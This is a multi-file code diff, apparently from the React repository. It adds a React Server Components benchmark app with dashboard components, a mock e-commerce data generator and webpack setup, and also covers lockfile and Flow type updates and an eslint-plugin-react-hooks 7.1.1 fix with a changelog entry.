export default function StatCard({title, value, change, trend, sparkline}) {
return (
<div className="stat-card">
<div className="stat-card-header">
<span className="stat-card-title">{title}</span>
<span className={'stat-card-change trend-' + trend}>{change}</span>
</div>
<div className="stat-card-value">{value}</div>
<div className="stat-card-sparkline">
{sparkline.map((point, i) => (
<span
key={i}
className="sparkline-bar"
style={{
height: Math.round((point / Math.max(...sparkline)) * 100) + '%',
}}
/>
))}
</div>
</div>
);
}

View File

@@ -0,0 +1,18 @@
import StatCard from './StatCard';
export default function StatsGrid({stats}) {
return (
<div className="stats-grid">
{stats.cards.map(card => (
<StatCard
key={card.title}
title={card.title}
value={card.value}
change={card.change}
trend={card.trend}
sparkline={card.sparkline}
/>
))}
</div>
);
}

View File

@@ -0,0 +1,10 @@
'use client';
export default function TableHeader({column}) {
return (
<th className="table-header" data-column={column.key}>
<span className="table-header-label">{column.label}</span>
<span className="table-header-sort" aria-label="Sort" />
</th>
);
}

View File

@@ -0,0 +1,31 @@
'use client';
import Badge from './Badge';
export default function TableRow({product, columns}) {
return (
<tr className="table-row">
{columns.map(col => (
<td key={col.key} className="table-cell" data-column={col.key}>
{col.key === 'status' ? (
<Badge count={product[col.key]} variant="status" />
) : col.key === 'price' ? (
<span className="price">${product[col.key]}</span>
) : col.key === 'rating' ? (
<span className="rating">
<span className="star">&#9733;</span> {product[col.key]}
<span className="review-count">({product.reviewCount})</span>
</span>
) : col.key === 'name' ? (
<div className="product-name-cell">
<span className="product-name">{product.name}</span>
<span className="product-category">{product.category}</span>
</div>
) : (
product[col.key]
)}
</td>
))}
</tr>
);
}

View File

@@ -0,0 +1,9 @@
'use client';
export default function ThemeProvider({theme, children}) {
return (
<div className={'theme-' + theme} data-theme={theme}>
{children}
</div>
);
}

View File

@@ -0,0 +1,293 @@
const categories = [
'Electronics',
'Clothing',
'Home & Garden',
'Sports',
'Books',
'Toys',
'Food',
'Health',
];
const statuses = ['In Stock', 'Low Stock', 'Out of Stock', 'Discontinued'];
const activityTypes = [
'order_placed',
'order_shipped',
'order_delivered',
'refund_requested',
'review_posted',
'product_added',
'stock_alert',
'payment_received',
];
const userNames = [
'Alice Johnson',
'Bob Williams',
'Carol Davis',
'Dan Miller',
'Eve Wilson',
'Frank Moore',
'Grace Taylor',
'Henry Anderson',
'Iris Thomas',
'Jack Jackson',
];
const reviewTexts = [
'Great product, exactly what I needed. The quality exceeded my expectations and shipping was fast.',
'Decent value for the price. Some minor issues with packaging but the product itself works well.',
'Not what I expected based on the description. Returning this item for a refund.',
'Outstanding quality and craftsmanship. Would highly recommend to anyone looking for this type of item.',
'Average product, nothing special. Does what it says but nothing more than that.',
];
export function generateProducts(count) {
const products = [];
for (let i = 0; i < count; i++) {
products.push({
id: i,
name: 'Product ' + i,
sku: 'SKU-' + String(i).padStart(6, '0'),
price: (((i * 17 + 3) % 9999) / 100).toFixed(2),
category: categories[i % categories.length],
status: statuses[i % statuses.length],
stock: (i * 7 + 13) % 500,
rating: (((i * 3 + 1) % 50) / 10).toFixed(1),
reviewCount: (i * 13 + 5) % 200,
description:
'This is a detailed description for product ' +
i +
'. It includes specifications, features, and other relevant information that a customer might need.',
tags: [
categories[(i + 1) % categories.length].toLowerCase(),
i % 2 === 0 ? 'featured' : 'new',
i % 3 === 0 ? 'sale' : 'regular',
],
dimensions: {
weight: ((i * 3 + 1) % 100) / 10,
width: ((i * 7 + 2) % 50) + 5,
height: ((i * 11 + 3) % 40) + 5,
depth: ((i * 13 + 4) % 30) + 2,
unit: 'cm',
},
supplier: {
name: 'Supplier ' + (i % 20),
leadTime: (i % 14) + 1 + ' days',
minOrder: ((i * 3) % 50) + 10,
contact: 'supplier' + (i % 20) + '@example.com',
address: {
street: ((100 + i * 7) % 9999) + ' Industrial Blvd',
city: ['Portland', 'Austin', 'Denver', 'Seattle', 'Boston'][i % 5],
state: ['OR', 'TX', 'CO', 'WA', 'MA'][i % 5],
zip: String(10000 + ((i * 37) % 89999)),
},
},
specifications: {
material: ['Aluminum', 'Plastic', 'Steel', 'Wood', 'Carbon Fiber'][
i % 5
],
color: ['Black', 'White', 'Silver', 'Blue', 'Red', 'Green'][i % 6],
warranty: (i % 3) + 1 + ' years',
certifications: [
i % 2 === 0 ? 'CE' : 'FCC',
i % 3 === 0 ? 'RoHS' : 'UL',
'ISO 9001',
],
},
reviews: [
{
author: userNames[(i * 3) % userNames.length],
rating: ((i * 7 + 3) % 5) + 1,
date:
'2026-0' +
((i % 3) + 1) +
'-' +
String((i % 28) + 1).padStart(2, '0'),
text: reviewTexts[i % reviewTexts.length],
helpful: (i * 11 + 2) % 50,
},
{
author: userNames[(i * 3 + 1) % userNames.length],
rating: ((i * 11 + 1) % 5) + 1,
date:
'2026-0' +
((i % 3) + 1) +
'-' +
String(((i + 5) % 28) + 1).padStart(2, '0'),
text: reviewTexts[(i + 2) % reviewTexts.length],
helpful: (i * 7 + 5) % 30,
},
{
author: userNames[(i * 3 + 2) % userNames.length],
rating: ((i * 13 + 2) % 5) + 1,
date:
'2026-0' +
((i % 3) + 1) +
'-' +
String(((i + 10) % 28) + 1).padStart(2, '0'),
text: reviewTexts[(i + 4) % reviewTexts.length],
helpful: (i * 3 + 1) % 20,
},
],
});
}
return products;
}
export function generateActivities(count) {
const activities = [];
for (let i = 0; i < count; i++) {
activities.push({
id: i,
type: activityTypes[i % activityTypes.length],
user: userNames[i % userNames.length],
timestamp:
'2026-03-' +
String((i % 28) + 1).padStart(2, '0') +
'T' +
String((i * 7) % 24).padStart(2, '0') +
':' +
String((i * 13) % 60).padStart(2, '0') +
':00Z',
details: {
orderId: '#' + String(10000 + i),
amount: '$' + ((i * 23 + 7) % 999).toFixed(2),
items: ((i * 3 + 1) % 5) + 1,
shippingMethod: ['Standard', 'Express', 'Overnight', 'Economy'][i % 4],
paymentMethod: ['Credit Card', 'PayPal', 'Apple Pay', 'Wire Transfer'][
i % 4
],
},
message:
userNames[i % userNames.length] +
' ' +
activityTypes[i % activityTypes.length].replace(/_/g, ' ') +
' for order #' +
(10000 + i),
});
}
return activities;
}
export function generateStats() {
return {
totalRevenue: '$1,284,320.50',
totalOrders: 8432,
totalCustomers: 3841,
conversionRate: '3.2%',
avgOrderValue: '$152.30',
returnsRate: '2.1%',
cards: [
{
title: 'Total Revenue',
value: '$1,284,320',
change: '+12.5%',
trend: 'up',
sparkline: [65, 59, 80, 81, 56, 55, 72, 84, 91, 88, 95, 102],
},
{
title: 'Orders',
value: '8,432',
change: '+8.2%',
trend: 'up',
sparkline: [28, 48, 40, 19, 86, 27, 90, 65, 72, 81, 56, 88],
},
{
title: 'Customers',
value: '3,841',
change: '+4.1%',
trend: 'up',
sparkline: [12, 19, 25, 32, 28, 35, 42, 38, 45, 51, 48, 55],
},
{
title: 'Conversion Rate',
value: '3.2%',
change: '-0.3%',
trend: 'down',
sparkline: [3.8, 3.5, 3.2, 3.6, 3.1, 3.4, 3.0, 3.3, 3.5, 3.2, 3.1, 3.2],
},
],
revenueByMonth: [
{month: 'Jan 25', value: 72000, orders: 480, returns: 24},
{month: 'Feb 25', value: 78000, orders: 520, returns: 31},
{month: 'Mar 25', value: 85000, orders: 567, returns: 28},
{month: 'Apr 25', value: 92000, orders: 613, returns: 35},
{month: 'May 25', value: 88000, orders: 587, returns: 29},
{month: 'Jun 25', value: 105000, orders: 700, returns: 42},
{month: 'Jul 25', value: 112000, orders: 747, returns: 38},
{month: 'Aug 25', value: 98000, orders: 653, returns: 33},
{month: 'Sep 25', value: 115000, orders: 767, returns: 41},
{month: 'Oct 25', value: 108000, orders: 720, returns: 36},
{month: 'Nov 25', value: 120000, orders: 800, returns: 44},
{month: 'Dec 25', value: 118320, orders: 789, returns: 39},
{month: 'Jan 26', value: 85000, orders: 567, returns: 28},
{month: 'Feb 26', value: 92000, orders: 613, returns: 32},
{month: 'Mar 26', value: 95000, orders: 633, returns: 30},
{month: 'Apr 26', value: 110000, orders: 733, returns: 37},
{month: 'May 26', value: 118000, orders: 787, returns: 40},
{month: 'Jun 26', value: 105000, orders: 700, returns: 35},
{month: 'Jul 26', value: 122000, orders: 813, returns: 43},
{month: 'Aug 26', value: 115000, orders: 767, returns: 38},
{month: 'Sep 26', value: 128000, orders: 853, returns: 45},
{month: 'Oct 26', value: 125000, orders: 833, returns: 42},
{month: 'Nov 26', value: 135000, orders: 900, returns: 47},
{month: 'Dec 26', value: 130000, orders: 867, returns: 44},
],
topCategories: [
{
name: 'Electronics',
revenue: 420000,
orders: 2800,
avgPrice: 150,
growth: '+15.2%',
},
{
name: 'Clothing',
revenue: 310000,
orders: 2100,
avgPrice: 147.6,
growth: '+8.7%',
},
{
name: 'Home & Garden',
revenue: 225000,
orders: 1500,
avgPrice: 150,
growth: '+12.1%',
},
{
name: 'Sports',
revenue: 180000,
orders: 1200,
avgPrice: 150,
growth: '+5.3%',
},
{
name: 'Books',
revenue: 149320,
orders: 832,
avgPrice: 179.5,
growth: '+2.1%',
},
{
name: 'Toys',
revenue: 95000,
orders: 680,
avgPrice: 139.7,
growth: '+18.4%',
},
{
name: 'Food',
revenue: 82000,
orders: 1640,
avgPrice: 50,
growth: '+6.8%',
},
{
name: 'Health',
revenue: 73000,
orders: 520,
avgPrice: 140.4,
growth: '+22.1%',
},
],
};
}

View File

@@ -0,0 +1,22 @@
import {
renderToPipeableStream,
renderToReadableStream,
} from 'react-server-dom-webpack/server';
import App from './App';
import AppAsync from './AppAsync';
export function renderRSCNode(clientManifest, Component, itemCount) {
return renderToPipeableStream(
<Component itemCount={itemCount} />,
clientManifest
);
}
export function renderRSCEdge(clientManifest, Component, itemCount) {
return renderToReadableStream(
<Component itemCount={itemCount} />,
clientManifest
);
}
export {App, AppAsync};

View File

@@ -0,0 +1,62 @@
'use strict';
const path = require('path');
const url = require('url');
const fs = require('fs');
const clientModules = {};
const clientManifest = {};
const ssrModuleMap = {};
let moduleIdx = 0;
function registerClientModule(modulePath) {
const id = String(moduleIdx++);
const chunkId = 'chunk-' + id;
const absPath = path.resolve(__dirname, modulePath);
const actualExports = require(absPath);
clientModules[id] = actualExports;
const href = url.pathToFileURL(absPath).href;
clientManifest[href] = {id, chunks: [chunkId, absPath], name: '*'};
ssrModuleMap[id] = {'*': {id, chunks: [chunkId, absPath], name: '*'}};
}
// Auto-register all 'use client' components by scanning src/
const srcDirs = [
path.resolve(__dirname, 'src'),
path.resolve(__dirname, 'src/components'),
];
for (const dir of srcDirs) {
if (!fs.existsSync(dir)) continue;
for (const file of fs.readdirSync(dir)) {
if (!file.endsWith('.js')) continue;
const filePath = path.join(dir, file);
const source = fs.readFileSync(filePath, 'utf-8');
if (
source.trimStart().startsWith("'use client'") ||
source.trimStart().startsWith('"use client"')
) {
registerClientModule(filePath);
}
}
}
global.__webpack_require__ = function (id) {
if (clientModules[id]) {
return clientModules[id];
}
throw new Error('Unknown module: ' + id);
};
global.__webpack_chunk_load__ = function () {
return new Promise(function (resolve) {
setImmediate(resolve);
});
};
const ssrManifest = {
moduleMap: ssrModuleMap,
moduleLoading: null,
serverModuleMap: null,
};
module.exports = {clientManifest, ssrManifest};

View File

@@ -0,0 +1,45 @@
'use strict';
const path = require('path');
module.exports = {
name: 'rsc',
target: 'node',
entry: './src/entry-rsc.js',
output: {
path: path.resolve(__dirname, 'build'),
filename: 'rsc-bundle.js',
library: {type: 'commonjs2'},
clean: true,
},
resolve: {
// This is the key: react-server condition makes `react` resolve to the
// server variant that supports async components, server references, etc.
conditionNames: ['react-server', 'node', 'require'],
extensions: ['.js', '.jsx'],
},
module: {
rules: [
{
// Custom loader that replaces 'use client' modules with client
// reference proxies. Must run before babel.
enforce: 'pre',
test: /\.jsx?$/,
exclude: /node_modules/,
loader: path.resolve(__dirname, 'rsc-client-ref-loader.js'),
},
{
test: /\.jsx?$/,
exclude: /node_modules/,
loader: require.resolve('babel-loader'),
options: {
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
},
},
],
},
// Production mode but no minification — we want optimized code paths
// but readable profiles and a fair comparison between approaches.
mode: 'production',
optimization: {minimize: false},
};

File diff suppressed because it is too large Load Diff

View File

@@ -936,8 +936,8 @@ punycode@^1.2.4, punycode@^1.4.1:
resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
qs@~6.4.0:
version "6.4.0"
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.0.tgz#13e26d28ad6b0ffaa91312cd3bf708ed351e7233"
version "6.4.1"
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.1.tgz#2bad97710a5b661c366b378b1e3a44a592ff45e6"
querystring-es3@^0.2.0:
version "0.2.1"

View File

@@ -936,8 +936,8 @@ punycode@^1.2.4, punycode@^1.4.1:
resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
qs@~6.4.0:
version "6.4.0"
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.0.tgz#13e26d28ad6b0ffaa91312cd3bf708ed351e7233"
version "6.4.1"
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.1.tgz#2bad97710a5b661c366b378b1e3a44a592ff45e6"
querystring-es3@^0.2.0:
version "0.2.1"

View File

@@ -1415,6 +1415,8 @@ declare class Document extends Node {
links: HTMLCollection<HTMLLinkElement>;
media: string;
open(url?: string, name?: string, features?: string, replace?: boolean): any;
/** @see {@link https://developer.mozilla.org/en-US/docs/Web/API/Document/prerendering} */
prerendering: boolean;
readyState: string;
referrer: string;
scripts: HTMLCollection<HTMLScriptElement>;

View File

@@ -128,6 +128,7 @@
"build-for-devtools-dev": "yarn build-for-devtools --type=NODE_DEV",
"build-for-devtools-prod": "yarn build-for-devtools --type=NODE_PROD",
"build-for-flight-dev": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react.react-server,react-dom/index,react-dom/client,react-dom/server,react-dom.react-server,react-dom-server.node,react-dom-server-legacy.node,scheduler,react-server-dom-webpack/,react-server-dom-unbundled/ --type=NODE_DEV,ESM_PROD,NODE_ES2015 && mv ./build/node_modules ./build/oss-experimental",
"build-for-flight-prod": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react.react-server,react-dom/index,react-dom/client,react-dom/server,react-dom.react-server,react-dom-server.node,react-dom-server-legacy.node,scheduler,react-server-dom-webpack/,react-server-dom-unbundled/ --type=NODE_PROD,ESM_PROD,NODE_ES2015 && mv ./build/node_modules ./build/oss-experimental",
"build-for-vt-dev": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react-dom/index,react-dom/client,react-dom/server,react-dom-server.node,react-dom-server-legacy.node,scheduler --type=NODE_DEV && mv ./build/node_modules ./build/oss-experimental",
"flow-typed-install": "yarn flow-typed install --skip --skipFlowRestart --ignore-deps=dev",
"linc": "node ./scripts/tasks/linc.js",

View File

@@ -1,3 +1,22 @@
## 7.1.1
**Note:** 7.1.0 accidentally removed the `component-hook-factories` rule, causing errors for users who referenced it in their ESLint config. This is now fixed.
- Add deprecated no-op `component-hook-factories` rule for backwards compatibility. ([@mofeiZ](https://github.com/mofeiZ) in [#36307](https://github.com/facebook/react/pull/36307))
## 7.1.0
This release adds ESLint v10 support, improves performance by skipping compilation for non-React files, and includes compiler lint improvements including better `set-state-in-effect` detection, improved ref validation, and more helpful error reporting.
- Add ESLint v10 support. ([@azat-io](https://github.com/azat-io) in [#35720](https://github.com/facebook/react/pull/35720))
- Skip compilation for non-React files to improve performance. ([@josephsavona](https://github.com/josephsavona) in [#35589](https://github.com/facebook/react/pull/35589))
- Fix exhaustive deps bug with Flow type casting. ([@jorge-cab](https://github.com/jorge-cab) in [#35691](https://github.com/facebook/react/pull/35691))
- Fix `useEffectEvent` checks in component syntax. ([@jbrown215](https://github.com/jbrown215) in [#35041](https://github.com/facebook/react/pull/35041))
- Improved `set-state-in-effect` validation with fewer false negatives. ([@jorge-cab](https://github.com/jorge-cab) in [#35134](https://github.com/facebook/react/pull/35134), [@josephsavona](https://github.com/josephsavona) in [#35147](https://github.com/facebook/react/pull/35147), [@jackpope](https://github.com/jackpope) in [#35214](https://github.com/facebook/react/pull/35214), [@chesnokov-tony](https://github.com/chesnokov-tony) in [#35419](https://github.com/facebook/react/pull/35419), [@jsleitor](https://github.com/jsleitor) in [#36107](https://github.com/facebook/react/pull/36107))
- Improved ref validation for non-mutating functions and event handler props. ([@josephsavona](https://github.com/josephsavona) in [#35893](https://github.com/facebook/react/pull/35893), [@kolvian](https://github.com/kolvian) in [#35062](https://github.com/facebook/react/pull/35062))
- Compiler now reports all errors instead of stopping at the first. ([@josephsavona](https://github.com/josephsavona) in [#35873](https://github.com/facebook/react/pull/35873)[#35884](https://github.com/facebook/react/pull/35884))
- Improved source locations and error display in compiler diagnostics. ([@nathanmarks](https://github.com/nathanmarks) in [#35348](https://github.com/facebook/react/pull/35348), [@josephsavona](https://github.com/josephsavona) in [#34963](https://github.com/facebook/react/pull/34963))
## 7.0.1
- Disallowed passing inline `useEffectEvent` values as JSX props to guard against accidental propagation. ([#34820](https://github.com/facebook/react/pull/34820) by [@jf-eirinha](https://github.com/jf-eirinha))

View File

@@ -74,7 +74,6 @@ export default [
// React Compiler rules
'react-hooks/config': 'error',
'react-hooks/error-boundaries': 'error',
'react-hooks/component-hook-factories': 'error',
'react-hooks/gating': 'error',
'react-hooks/globals': 'error',
'react-hooks/immutability': 'error',
@@ -108,7 +107,6 @@ export default [
// React Compiler rules
"react-hooks/config": "error",
"react-hooks/error-boundaries": "error",
"react-hooks/component-hook-factories": "error",
"react-hooks/gating": "error",
"react-hooks/globals": "error",
"react-hooks/immutability": "error",

View File

@@ -15,12 +15,29 @@ import {
} from './shared/ReactCompiler';
import RulesOfHooks from './rules/RulesOfHooks';
function makeDeprecatedRule(version: string): Rule.RuleModule {
return {
meta: {
type: 'suggestion',
docs: {
description: `Deprecated: this rule has been removed in ${version}.`,
},
schema: [],
deprecated: true,
},
create() {
return {};
},
};
}
const rules = {
'exhaustive-deps': ExhaustiveDeps,
'rules-of-hooks': RulesOfHooks,
...Object.fromEntries(
Object.entries(allRules).map(([name, config]) => [name, config.rule]),
),
'component-hook-factories': makeDeprecatedRule('7.1.0'),
} satisfies Record<string, Rule.RuleModule>;
const basicRuleConfigs = {

View File

@@ -0,0 +1,15 @@
/**
* Type declarations for shared/ReactFeatureFlags
*
* This allows importing from the Flow-typed ReactFeatureFlags.js file
* without TypeScript errors.
*/
declare module 'shared/ReactFeatureFlags' {
export const eprh_enableUseKeyedStateCompilerLint: boolean;
export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean;
export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
| 'off'
| 'all'
| 'extra-only'
| 'missing-only';
}

View File

@@ -21,6 +21,11 @@ import type * as ESTree from 'estree';
import * as HermesParser from 'hermes-parser';
import {isDeepStrictEqual} from 'util';
import type {ParseResult} from '@babel/parser';
import {
eprh_enableUseKeyedStateCompilerLint,
eprh_enableVerboseNoSetStateInEffectCompilerLint,
eprh_enableExhaustiveEffectDependenciesCompilerLint,
} from 'shared/ReactFeatureFlags';
// Pattern for component names: starts with uppercase letter
const COMPONENT_NAME_PATTERN = /^[A-Z]/;
@@ -81,10 +86,7 @@ function checkTopLevelNode(node: ESTree.Node): boolean {
// Also handles Flow component/hook syntax transformed to FunctionDeclaration with flags
if (node.type === 'FunctionDeclaration') {
// Check for Hermes-added flags indicating Flow component/hook syntax
if (
'__componentDeclaration' in node ||
'__hookDeclaration' in node
) {
if ('__componentDeclaration' in node || '__hookDeclaration' in node) {
return true;
}
const id = (node as ESTree.FunctionDeclaration).id;
@@ -107,7 +109,10 @@ function checkTopLevelNode(node: ESTree.Node): boolean {
init.type === 'FunctionExpression')
) {
const name = decl.id.name;
if (COMPONENT_NAME_PATTERN.test(name) || HOOK_NAME_PATTERN.test(name)) {
if (
COMPONENT_NAME_PATTERN.test(name) ||
HOOK_NAME_PATTERN.test(name)
) {
return true;
}
}
@@ -136,10 +141,13 @@ const COMPILER_OPTIONS: PluginOptions = {
validateNoCapitalizedCalls: [],
validateHooksUsage: true,
validateNoDerivedComputationsInEffects: true,
// Temporarily enabled for internal testing
enableUseKeyedState: true,
enableVerboseNoSetStateInEffect: true,
validateExhaustiveEffectDependencies: 'extra-only',
// Experimental options controlled by ReactFeatureFlags
enableUseKeyedState: eprh_enableUseKeyedStateCompilerLint,
enableVerboseNoSetStateInEffect:
eprh_enableVerboseNoSetStateInEffectCompilerLint,
validateExhaustiveEffectDependencies:
eprh_enableExhaustiveEffectDependenciesCompilerLint,
},
};

View File

@@ -9,7 +9,8 @@
"types": ["estree-jsx", "node"],
"downlevelIteration": true,
"paths": {
"babel-plugin-react-compiler": ["../../compiler/packages/babel-plugin-react-compiler/src"]
"babel-plugin-react-compiler": ["../../compiler/packages/babel-plugin-react-compiler/src"],
"shared/*": ["../shared/*"]
},
"jsx": "react-jsxdev",
"rootDir": "../..",

View File

@@ -122,7 +122,6 @@ ${diff(expectedLog, actualLog)}
function aggregateErrors(errors: Array<mixed>): mixed {
if (errors.length > 1 && typeof AggregateError === 'function') {
// eslint-disable-next-line no-undef
return new AggregateError(errors);
}
return errors[0];

Some files were not shown because too many files have changed in this diff Show More